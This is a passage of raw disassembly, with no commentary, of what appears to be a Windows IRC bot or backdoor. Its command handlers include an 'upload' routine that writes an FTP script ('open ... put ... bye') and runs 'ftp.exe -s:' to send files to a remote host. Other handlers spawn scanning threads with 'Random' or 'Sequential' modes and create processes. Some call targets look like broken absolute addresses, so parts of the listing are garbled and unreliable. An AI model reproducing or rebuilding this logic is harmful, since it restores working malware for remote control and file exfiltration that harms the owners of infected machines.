eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 20h loc_407208: ; CODE XREF: sub_401ACD+518Dj ; sub_401ACD+5557j ... mov esi, [ebp+esi+var_7C] cmp esi, ebx jz loc_401F75 push [ebp+arg_8] push offset aUpload ; "upload" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_409644 push 4 push esi call sub_416CAF pop ecx test eax, eax pop ecx jnz short loc_407253 push esi push offset unk_42ABA8 loc_40723F: ; CODE XREF: sub_401ACD+711Ej ; sub_401ACD+796Bj lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch jmp loc_403F9D ; --------------------------------------------------------------------------- loc_407253: ; CODE XREF: sub_401ACD+576Aj nop call near ptr 26A0891h push eax call sub_41C2B8 pop ecx call sub_41C2C2 push 9 cdq pop ecx idiv ecx push edx call sub_41C2C2 push 63h cdq pop ecx idiv ecx push edx call sub_41C2C2 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_50FC] push edx push eax lea eax, [ebp+var_2E5C] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41C266 lea eax, [ebp+var_2E5C] push offset aAb ; "ab" push eax call sub_41BEA2 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_401F75 push esi push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41C7E6 push [ebp+arg_24] call sub_41BA3B add esp, 20h lea eax, [ebp+var_2E5C] push eax lea eax, [ebp+var_4CF8] push offset aSS_1 ; "-s:%s" push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_4CF8] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_4CB940 test eax, eax push edi push esi jz short loc_407320 push offset unk_42AB38 jmp short loc_407325 ; --------------------------------------------------------------------------- loc_407320: ; CODE XREF: sub_401ACD+584Aj push offset unk_42AB08 loc_407325: ; CODE XREF: sub_401ACD+5851j call sub_41C266 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_40734E push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_40734E: ; CODE XREF: sub_401ACD+5863j lea eax, [ebp+var_2C4] push eax call sub_415D38 loc_40735A: ; CODE XREF: sub_401ACD+58B2j lea eax, [ebp+var_2E5C] push 4 push eax call sub_416CAF add esp, 0Ch test eax, eax jz loc_401F75 lea eax, [ebp+var_2E5C] push eax call sub_41C7BC jmp short loc_40735A ; --------------------------------------------------------------------------- loc_407381: ; CODE XREF: sub_401ACD+5705j push edi call sub_41C159 push [ebp+arg_18] mov [ebp+var_370], eax call sub_41C159 push [ebp+arg_0] mov [ebp+var_358], eax call sub_41C159 add esp, 0Ch cmp eax, 5 mov [ebp+var_36C], eax jnb short loc_4073BA push 5 pop eax mov [ebp+var_36C], eax loc_4073BA: ; CODE XREF: sub_401ACD+58E2j push 3Ch pop ecx cmp eax, ecx jbe short loc_4073C7 mov [ebp+var_36C], ecx loc_4073C7: ; CODE XREF: sub_401ACD+58F2j push [ebp+arg_10] call sub_41C159 cmp eax, 320h pop ecx mov [ebp+var_368], eax jbe short loc_4073E7 mov [ebp+var_368], 320h loc_4073E7: ; CODE XREF: sub_401ACD+590Ej or [ebp+var_354], 0FFFFFFFFh cmp dword_4317F8, ebx mov [ebp+arg_1C], ebx jz short loc_40743D mov [ebp+arg_24], offset dword_4317F8 loc_407400: ; CODE XREF: sub_401ACD+5952j mov eax, [ebp+arg_24] push edi add eax, 0FFFFFFD8h push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_407423 add [ebp+arg_24], 40h inc [ebp+arg_1C] mov eax, [ebp+arg_24] cmp [eax], ebx jnz short loc_407400 jmp short loc_40743D ; --------------------------------------------------------------------------- loc_407423: ; CODE XREF: sub_401ACD+5944j mov eax, [ebp+arg_1C] mov ecx, eax mov [ebp+var_354], eax shl ecx, 6 mov ecx, dword_4317F8[ecx] mov [ebp+var_370], ecx loc_40743D: ; CODE XREF: sub_401ACD+592Aj ; sub_401ACD+5954j cmp [ebp+var_370], ebx jnz short loc_40744F push offset unk_42AAD4 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_40744F: ; CODE XREF: sub_401ACD+5976j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+arg_0], edi jz short loc_40748A cmp byte ptr [edi], 23h jz short loc_40748A push edi lea eax, [ebp+var_484] push 10h push eax call sub_41C360 push 78h push edi call sub_41C990 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_344], eax jmp loc_407564 ; --------------------------------------------------------------------------- loc_40748A: ; CODE XREF: sub_401ACD+598Bj ; sub_401ACD+5990j cmp [ebp+var_8FF], bl jnz short loc_4074AC cmp [ebp+var_8FE], bl jnz short loc_4074AC cmp [ebp+var_8EE], bl jnz short loc_4074AC push offset unk_42AAA0 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_4074AC: ; CODE XREF: sub_401ACD+59C3j ; sub_401ACD+59CBj ... push 10h lea eax, [ebp+var_2D0] pop edi push eax lea eax, [ebp+var_2F8] push eax mov [ebp+var_2D0], edi push [ebp+arg_4] call dword_4CB978 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2F4], eax push [ebp+var_2F4] call dword_4CBA60 push eax lea eax, [ebp+var_484] push eax call sub_41BFD0 add esp, 0Ch cmp [ebp+var_8EE], bl jz short loc_40755E xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_484] push eax call sub_41C820 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_407552 loc_407530: ; CODE XREF: sub_401ACD+5A83j cmp eax, ebx jz short loc_407552 mov byte ptr [eax], 78h lea eax, [ebp+var_484] push 30h push eax call sub_41C820 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_407530 loc_407552: ; CODE XREF: sub_401ACD+5A61j ; sub_401ACD+5A65j mov [ebp+var_344], 1 jmp short loc_407564 ; --------------------------------------------------------------------------- loc_40755E: ; CODE XREF: sub_401ACD+5A3Bj mov [ebp+var_344], ebx loc_407564: ; CODE XREF: sub_401ACD+59B8j ; sub_401ACD+5A8Fj mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_374], eax mov eax, [ebp+var_4] mov [ebp+var_34C], eax mov eax, [ebp+var_8] mov [ebp+var_348], eax mov edi, 80h lea eax, [ebp+var_474] push edi push eax call sub_41C360 mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_4075B5 loc_4075A2: ; CODE XREF: sub_401ACD+5B0Bj push esi loc_4075A3: ; CODE XREF: sub_401ACD+5AF5j lea eax, [ebp+var_3F4] push edi push eax call sub_41C360 add esp, 0Ch jmp short loc_4075E0 ; --------------------------------------------------------------------------- loc_4075B5: ; CODE XREF: sub_401ACD+5AD3j mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_4075C4 cmp byte ptr [eax], 23h jnz short loc_4075C4 push eax jmp short loc_4075A3 ; --------------------------------------------------------------------------- loc_4075C4: ; CODE XREF: sub_401ACD+5AEDj ; sub_401ACD+5AF2j mov esi, offset aF ; "#f" push offset byte_43DB88 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4075A2 mov [ebp+var_3F4], bl loc_4075E0: ; CODE XREF: sub_401ACD+5AE6j cmp [ebp+var_344], ebx mov eax, offset aRandom ; "Random" jnz short loc_4075F2 mov eax, offset aSequential ; "Sequential" loc_4075F2: ; CODE XREF: sub_401ACD+5B1Ej push [ebp+var_358] lea ecx, [ebp+var_484] push [ebp+var_368] push [ebp+var_36C] push [ebp+var_370] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42AA38 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3BA add esp, 2Ch mov [ebp+var_364], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_484] push ebx push eax push offset loc_40C600 push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_364] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407680 loc_40766A: ; CODE XREF: sub_401ACD+5BB1j cmp [ebp+var_340], ebx jnz loc_4081AD push 32h nop call near ptr 2680EBDh jmp short loc_40766A ; --------------------------------------------------------------------------- loc_407680: ; CODE XREF: sub_401ACD+5B9Bj nop call near ptr 26908B8h push eax push offset unk_42AA00 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_407691: ; CODE XREF: sub_401ACD+4E42j ; sub_401ACD+4E59j push edi call sub_40A8F0 push [ebp+arg_18] mov [ebp+var_4E0], eax call sub_41C159 push [ebp+arg_0] mov [ebp+var_4F0], eax call sub_41C159 push [ebp+arg_10] mov [ebp+var_4EC], eax call sub_41C159 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_4E8], eax lea eax, [ebp+var_570] mov [ebp+var_574], esi push eax call sub_41BFD0 add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_4D8], edi push [ebp+var_4EC] mov [ebp+var_4D4], eax push [ebp+var_4F0] push [ebp+var_4E8] push [ebp+var_4E0] call dword_4CBA60 push eax lea eax, [ebp+var_2C4] push offset unk_42A9B0 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3BA add esp, 24h mov [ebp+var_4E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_574] push ebx push eax push offset byte_40CA1D push ebx push ebx call near ptr 2690000h nop mov ecx, [ebp+var_4E4] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407786 loc_407770: ; CODE XREF: sub_401ACD+5CB7j cmp [ebp+var_4D0], ebx jnz loc_403D46 push 32h nop call near ptr 2680EBDh jmp short loc_407770 ; --------------------------------------------------------------------------- loc_407786: ; CODE XREF: sub_401ACD+5CA1j nop call near ptr 26908B8h push eax push offset unk_42A974 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_407797: ; CODE XREF: sub_401ACD+4E05j ; sub_401ACD+4E1Cj push edi call sub_41C159 imul eax, 234h pop ecx cmp byte_43E928[eax], bl jz loc_409644 cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] call sub_41B9C0 push edi mov esi, eax call sub_41B9C0 push [ebp+arg_8] add esi, eax call sub_41B9C0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41C2E0 add esp, 14h mov esi, eax lea eax, [ebp+var_2C4] push esi push offset dword_42A968 push eax call sub_41C266 add esp, 0Ch cmp esi, ebx jz loc_409644 push edi call sub_41C159 test eax, eax pop ecx jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 push ebx lea eax, [ebp+var_2C4] push ebx push eax push [ebp+arg_18] push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409869 push edi call sub_41C159 imul eax, 234h add esp, 18h cmp byte ptr dword_43E710[eax], 73h jnz loc_409644 push esi push edi call sub_41C159 imul eax, 234h pop ecx add eax, offset byte_43E928 push eax push [ebp+arg_18] push offset aSSS_2 ; "[%s] * %s %s" jmp loc_407957 ; --------------------------------------------------------------------------- loc_407887: ; CODE XREF: sub_401ACD+4DD7j ; sub_401ACD+4DEEj push edi call sub_41C159 imul eax, 234h pop ecx cmp byte_43E928[eax], bl jz loc_409644 cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] call sub_41B9C0 push edi mov esi, eax call sub_41B9C0 push [ebp+arg_8] add esi, eax call sub_41B9C0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41C2E0 mov esi, eax add esp, 14h cmp esi, ebx jz loc_409644 push edi call sub_41C159 test eax, eax pop ecx jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 push ebx push ebx push esi push [ebp+arg_18] push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409869 push edi call sub_41C159 imul eax, 234h add esp, 18h cmp byte ptr dword_43E710[eax], 73h jnz loc_409644 push esi push edi call sub_41C159 imul eax, 234h pop ecx add eax, offset byte_43E928 push eax push [ebp+arg_18] push offset aSSS_1 ; "[%s] <%s> %s" loc_407957: ; CODE XREF: sub_401ACD+5DB5j lea eax, [ebp+var_2C4] push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 28h jmp loc_409644 ; --------------------------------------------------------------------------- loc_407984: ; CODE XREF: sub_401ACD+4DA9j ; sub_401ACD+4DC0j push edi call dword_4CBA14 push [ebp+arg_18] mov [ebp+var_680], eax call sub_41C159 push [ebp+arg_0] mov [ebp+var_690], eax call sub_41C159 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_688], eax lea eax, [ebp+var_710] mov [ebp+var_714], esi push eax call sub_41BFD0 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_678], edi push [ebp+var_688] mov [ebp+var_674], eax push [ebp+var_690] push [ebp+var_680] call dword_4CBA60 push eax lea eax, [ebp+var_2C4] push offset unk_42A910 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3BA add esp, 20h mov [ebp+var_684], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_714] push ebx push eax push offset dword_40C92C push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_684] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407A66 loc_407A50: ; CODE XREF: sub_401ACD+5F97j cmp [ebp+var_670], ebx jnz loc_403D46 push 32h nop call near ptr 2680EBDh jmp short loc_407A50 ; --------------------------------------------------------------------------- loc_407A66: ; CODE XREF: sub_401ACD+5F81j nop call near ptr 26908B8h push eax push offset unk_42AA00 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_407A77: ; CODE XREF: sub_401ACD+4D7Bj ; sub_401ACD+4D92j push edi call sub_41C159 push 7Fh mov [ebp+var_1130], eax push [ebp+arg_18] lea eax, [ebp+var_1234] push eax call sub_41BFD0 push [ebp+arg_0] call sub_41C159 mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_1134], eax lea eax, [ebp+var_11B4] push [ebp+var_88] mov [ebp+var_123C], esi push 80h push eax call sub_41C360 mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_1120], eax push [ebp+var_1134] lea eax, [ebp+var_1234] mov [ebp+var_1124], edi push eax push [ebp+var_1130] push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A8D4 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 18h push eax call sub_40B3BA add esp, 24h mov [ebp+var_112C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_123C] push ebx push eax push offset loc_410DAB push ebx push ebx call near ptr 2690000h nop mov ecx, [ebp+var_112C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407B63 loc_407B4D: ; CODE XREF: sub_401ACD+6094j cmp [ebp+var_111C], ebx jnz loc_403D46 push 32h nop call near ptr 2680EBDh jmp short loc_407B4D ; --------------------------------------------------------------------------- loc_407B63: ; CODE XREF: sub_401ACD+607Ej nop call near ptr 26908B8h push eax push offset unk_42A890 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_407B74: ; CODE XREF: sub_401ACD+4D4Dj ; sub_401ACD+4D64j push 0FFh lea eax, [ebp+var_287C] push edi push eax call sub_41BFD0 push 0FFh lea eax, [ebp+var_277C] push [ebp+arg_18] push eax call sub_41BFD0 push [ebp+arg_0] mov [ebp+var_2678], ebx call sub_41C159 mov [ebp+var_2674], eax mov eax, [ebp+esi+var_80] add esp, 1Ch cmp eax, ebx jz short loc_407BCD push 10h push ebx push eax call sub_41C7A5 add esp, 0Ch mov [ebp+var_266C], eax jmp short loc_407BD3 ; --------------------------------------------------------------------------- loc_407BCD: ; CODE XREF: sub_401ACD+60EAj mov [ebp+var_266C], ebx loc_407BD3: ; CODE XREF: sub_401ACD+60FEj mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_407BEA push esi call sub_41C159 pop ecx mov [ebp+var_2670], eax jmp short loc_407BF0 ; --------------------------------------------------------------------------- loc_407BEA: ; CODE XREF: sub_401ACD+610Cj mov [ebp+var_2670], ebx loc_407BF0: ; CODE XREF: sub_401ACD+611Bj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_2668], eax lea eax, [ebp+var_28FC] mov [ebp+var_2900], esi push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_2660], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_2664], eax lea eax, [ebp+var_2C4] push edi push offset dword_42A864 push eax call sub_41C266 push esi lea eax, [ebp+var_2C4] push 1Dh push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_267C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2900] push ebx push eax push offset loc_4167A0 push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_267C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407CA1 loc_407C8B: ; CODE XREF: sub_401ACD+61D2j cmp [ebp+var_265C], ebx jnz loc_407196 push 32h nop call near ptr 2680EBDh jmp short loc_407C8B ; --------------------------------------------------------------------------- loc_407CA1: ; CODE XREF: sub_401ACD+61BCj call near ptr 26908B8h nop push eax push offset unk_42A824 jmp loc_407187 ; --------------------------------------------------------------------------- loc_407CB2: ; CODE XREF: sub_401ACD+4D1Fj ; sub_401ACD+4D36j push 7Fh lea eax, [ebp+var_3494] pop esi push esi push edi push eax call sub_41BFD0 push esi lea eax, [ebp+var_3414] push [ebp+arg_18] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3394] push [ebp+arg_0] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3314] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_3290], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_328C], eax lea eax, [ebp+var_2C4] push [ebp+arg_18] mov [ebp+var_3498], esi push edi push offset unk_42A7E8 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 12h push eax call sub_40B3BA add esp, 20h mov [ebp+var_3294], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3498] push ebx push eax push offset byte_41561D push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_3294] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407D89 loc_407D73: ; CODE XREF: sub_401ACD+62BAj cmp [ebp+var_3288], ebx jnz loc_407196 push 32h nop call near ptr 2680EBDh jmp short loc_407D73 ; --------------------------------------------------------------------------- loc_407D89: ; CODE XREF: sub_401ACD+62A4j nop call near ptr 26908B8h push eax push offset unk_42A7B0 jmp loc_407187 ; --------------------------------------------------------------------------- loc_407D9A: ; CODE XREF: sub_401ACD+4BF2j ; sub_401ACD+4C09j push 7Fh lea eax, [ebp+var_306C] pop esi push esi push edi push eax call sub_41BFD0 push esi lea eax, [ebp+var_2FEC] push [ebp+arg_18] push eax call sub_41BFD0 push esi lea eax, [ebp+var_2F6C] push [ebp+arg_0] push eax call sub_41BFD0 push esi lea eax, [ebp+var_2EEC] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_2E68], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_2E64], eax lea eax, [ebp+var_2C4] push [ebp+arg_18] mov [ebp+var_3070], esi push edi push offset unk_42A780 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Eh push eax call sub_40B3BA add esp, 20h mov [ebp+var_2E6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3070] push ebx push eax push offset dword_414358 push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_2E6C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407E71 loc_407E5B: ; CODE XREF: sub_401ACD+63A2j cmp [ebp+var_2E60], ebx jnz loc_407196 push 32h nop call near ptr 2680EBDh jmp short loc_407E5B ; --------------------------------------------------------------------------- loc_407E71: ; CODE XREF: sub_401ACD+638Cj nop call near ptr 26908B8h push eax push offset unk_42A748 jmp loc_407187 ; --------------------------------------------------------------------------- loc_407E82: ; CODE XREF: sub_401ACD+4AC9j ; sub_401ACD+4AE0j ... push 7Fh lea eax, [ebp+var_3CE8] pop esi push esi push edi push eax call sub_41BFD0 push esi lea eax, [ebp+var_3C68] push [ebp+arg_18] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3BE8] push [ebp+arg_0] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3B68] push [ebp+var_88] push eax call sub_41BFD0 push 20h lea eax, [ebp+var_3AE8] push [ebp+arg_8] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_3A68], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3A64], eax lea eax, [ebp+var_2C4] push [ebp+arg_18] mov [ebp+var_3CF0], esi push edi push offset unk_42A718 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Dh push eax call sub_40B3BA add esp, 20h mov [ebp+var_3CEC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3CF0] push ebx push eax push offset byte_4135DF push ebx push ebx call near ptr 2690000h nop mov ecx, [ebp+var_3CEC] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407F6A loc_407F54: ; CODE XREF: sub_401ACD+649Bj cmp [ebp+var_3A60], ebx jnz loc_407196 push 32h nop call near ptr 2680EBDh jmp short loc_407F54 ; --------------------------------------------------------------------------- loc_407F6A: ; CODE XREF: sub_401ACD+6485j nop call near ptr 26908B8h push eax push offset unk_42A6E0 jmp loc_407187 ; --------------------------------------------------------------------------- loc_407F7B: ; CODE XREF: sub_401ACD+4A9Bj ; sub_401ACD+4AB2j push 7Fh lea eax, [ebp+var_177C] push edi push eax call sub_41BFD0 push [ebp+arg_18] call sub_41C159 push 3Fh mov [ebp+var_162C], eax push [ebp+arg_0] lea eax, [ebp+var_16FC] push eax call sub_41BFD0 mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx jz short loc_407FC6 push 3Fh lea eax, [ebp+var_16BC] push esi push eax call sub_41BFD0 add esp, 0Ch loc_407FC6: ; CODE XREF: sub_401ACD+64E5j lea eax, [ebp+var_16FC] mov [ebp+var_1628], 1 push eax lea eax, [ebp+var_177C] push [ebp+var_162C] push eax lea eax, [ebp+var_2C4] push offset dword_42A6B0 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 1Fh push eax call sub_40B3BA add esp, 20h mov [ebp+var_1624], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1780] push ebx push eax push offset sub_4017ED push ebx push ebx call near ptr 2690000h nop mov ecx, [ebp+var_1624] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_408052 loc_40803C: ; CODE XREF: sub_401ACD+6583j cmp [ebp+var_1620], ebx jnz loc_406BFE push 32h nop call near ptr 2680EBDh jmp short loc_40803C ; --------------------------------------------------------------------------- loc_408052: ; CODE XREF: sub_401ACD+656Dj call near ptr 26908B8h nop push eax push offset dword_42A674 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_408063: ; CODE XREF: sub_401ACD+4A5Bj ; sub_401ACD+4A72j push [ebp+arg_18] call sub_41C159 cmp eax, ebx pop ecx mov [ebp+var_1D68], eax jle loc_408156 mov esi, 80h push edi lea eax, [ebp+var_1EF0] push esi push eax call sub_41C360 add esp, 0Ch xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1D64], eax mov eax, [ebp+arg_4] mov [ebp+var_1EF4], eax lea eax, [ebp+var_1DF0] push esi push eax call sub_41C360 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1D60], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_1D5C], eax lea eax, [ebp+var_2C4] push edi push offset unk_42A648 push 200h push eax call sub_41C360 push ebx lea eax, [ebp+var_2C4] push 15h push eax call sub_40B3BA add esp, 20h mov [ebp+var_1D70], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1EF4] push ebx push eax push offset byte_413A29 push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_1D70] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_408145 loc_408133: ; CODE XREF: sub_401ACD+6676j cmp [ebp+var_1D58], ebx jnz short loc_4081AD push 32h nop call near ptr 2680EBDh jmp short loc_408133 ; --------------------------------------------------------------------------- loc_408145: ; CODE XREF: sub_401ACD+6664j nop call near ptr 26908B8h push eax push offset unk_42A610 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_408156: ; CODE XREF: sub_401ACD+65A7j push offset unk_42A5D8 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_408160: ; CODE XREF: sub_401ACD+4A2Dj ; sub_401ACD+4A44j push [ebp+arg_18] push edi call near ptr 26B0B4Eh nop test eax, eax jz short loc_40818D push [ebp+arg_18] lea eax, [ebp+var_2C4] push edi push offset unk_42A5B4 push 200h push eax call sub_41C360 add esp, 14h jmp short loc_4081AD ; --------------------------------------------------------------------------- loc_40818D: ; CODE XREF: sub_401ACD+669Fj push offset dword_42A5A8 call sub_418699 pop ecx push eax lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 loc_4081AA: ; CODE XREF: sub_401ACD+548Dj ; sub_401ACD+73C5j add esp, 0Ch loc_4081AD: ; CODE XREF: sub_401ACD+20DCj ; sub_401ACD+2E89j ... cmp [ebp+var_8], ebx jnz loc_4082DE push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_4081CA: ; CODE XREF: sub_401ACD+56E4j call sub_409869 add esp, 14h jmp loc_4082DE ; --------------------------------------------------------------------------- loc_4081D7: ; CODE XREF: sub_401ACD+49FFj ; sub_401ACD+4A16j push edi lea eax, [ebp+var_3F08] push 104h push eax call sub_41C360 add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_408211 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz short loc_408211 push eax lea eax, [ebp+var_3E04] push eax call sub_41C266 pop ecx pop ecx loc_408211: ; CODE XREF: sub_401ACD+6722j ; sub_401ACD+6733j push [ebp+var_88] lea eax, [ebp+var_3F88] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_3F8C], eax mov eax, [ebp+var_4] mov [ebp+var_3CFC], eax mov eax, [ebp+var_8] mov [ebp+var_3CF8], eax lea eax, [ebp+var_3E04] push eax lea eax, [ebp+var_3F08] push eax push offset unk_42A578 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 push ebx lea eax, [ebp+var_2C4] push 24h push eax call sub_40B3BA add esp, 20h mov [ebp+var_3D00], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F8C] push ebx push eax push offset dword_417054 push ebx push ebx call near ptr 2690000h nop mov ecx, [ebp+var_3D00] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4082C3 loc_4082B1: ; CODE XREF: sub_401ACD+67F4j cmp [ebp+var_3CF4], ebx jnz short loc_4082DE push 32h nop call near ptr 2680EBDh jmp short loc_4082B1 ; --------------------------------------------------------------------------- loc_4082C3: ; CODE XREF: sub_401ACD+67E2j call near ptr 26908B8h nop push eax push offset unk_42A53C loc_4082CF: ; CODE XREF: sub_401ACD+909j ; sub_401ACD+A47j ... lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch loc_4082DE: ; CODE XREF: sub_401ACD+7C5j ; sub_401ACD+930j ... push 1 pop esi jmp loc_406C22 ; --------------------------------------------------------------------------- loc_4082E6: ; CODE XREF: sub_401ACD+49D1j ; sub_401ACD+49E8j push 44h lea eax, [ebp+var_668] pop esi push esi push ebx push eax call sub_41BF70 push 1 mov [ebp+var_668], esi pop esi mov [ebp+var_638], bx push edi mov [ebp+var_63C], esi call sub_41C159 add esp, 10h cmp eax, esi jnz short loc_408323 mov [ebp+var_638], 5 loc_408323: ; CODE XREF: sub_401ACD+684Bj cmp [ebp+var_C], ebx jz loc_406BFE push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406BFE lea eax, [ebp+var_E34] push eax lea eax, [ebp+var_668] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx call near ptr 2670347h nop test eax, eax jnz short loc_40836E push offset unk_42A518 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_40836E: ; CODE XREF: sub_401ACD+6895j push edi push offset dword_42A4FC jmp loc_406BEF ; --------------------------------------------------------------------------- loc_408379: ; CODE XREF: sub_401ACD+49A3j ; sub_401ACD+49BAj push [ebp+arg_18] push offset aSbrsfgf ; "sbrsfgf" call 